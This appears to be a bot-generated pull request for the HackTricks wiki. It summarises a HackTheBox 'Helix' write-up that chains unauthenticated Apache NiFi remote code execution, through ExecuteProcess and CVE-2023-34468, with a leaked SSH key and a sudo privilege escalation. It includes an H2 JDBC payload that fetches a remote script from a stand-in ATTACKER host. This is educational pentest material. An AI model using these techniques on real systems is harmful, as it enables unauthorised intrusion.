HTB Helix

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://0xdf.gitlab.io/2026/08/08/htb-helix.html
• Blog Title: HTB: Helix
• Suggested Section: Network Services Pentesting > 80,443 - Pentesting Web > Apache NiFi security; cross-reference 4840 - OPC Unified Architecture and Linux Privilege Escalation > Sudo Command Abuse

🎯 Content Summary

Overview

Helix demonstrates a complete Linux and industrial-control-system compromise chain. An unauthenticated Apache NiFi 1.21.0 deployment allows remote code execution through both CVE-2023-34468 and the built-in ExecuteProcess processor. Code execution as nifi exposes an unencrypted Ed25519 private key for operator. The operator account has passwordless sudo access to a maintenance console that launches /bin/bash -p -i<...

🔧 Technical Details

Unauthenticated NiFi administration as an RCE primitive: An Apache NiFi canvas that permits anonymous processor and controller-service modification effectively grants application-administrator access. Test whether anonymous users can inspect controller services, create processors, change properties, connect relationships, and start or stop components. If they can create and schedule ExecuteProcess, configure a command or reverse shell, select a non-space argument delimiter when required, and connect or auto-terminate every output relationship. The process executes with the operating-system privileges of the NiFi service, even when no software CVE is needed.

CVE-2023-34468 through H2 INIT: In Apache NiFi 0.0.2 through 1.21.0, a user who can configure DBCPConnectionPool or HikariCPConnectionPool may supply an H2 JDBC URL containing INIT=RUNSCRIPT FROM 'http://ATTACKER/poc.sql'. Stop dependent p...

🤖 Agent Actions

Updated src/network-services-pentesting/pentesting-web/h2-java-sql-database.md.

Added:

• H2 INIT=RUNSCRIPT JDBC URL injection workflow
• CREATE ALIAS Java-to-OS-command execution example
• NiFi-specific note that anonymous/low-priv flow admin plus ExecuteProcess is already RCE
• Proper inline citations and appended references

Validated:

• Reference/citation numbering is consistent
• mdbook build could not be run because mdbook is not installed in this environment

---

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

[carlospolop]

🔗 Additional Context

Original Blog Post: https://0xdf.gitlab.io/2026/08/08/htb-helix.html

Content Categories: Based on the analysis, this content was categorized under "Network Services Pentesting > 80,443 - Pentesting Web > Apache NiFi security; cross-reference 4840 - OPC Unified Architecture and Linux Privilege Escalation > Sudo Command Abuse".

Repository Maintenance:

• MD Files Formatting: 988 files processed

Review Notes:

• This content was automatically processed and may require human review for accuracy
• Check that the placement within the repository structure is appropriate
• Verify that all technical details are correct and up-to-date
• All .md files have been checked for proper formatting (headers, includes, etc.)

Bot Version: HackTricks News Bot v1.0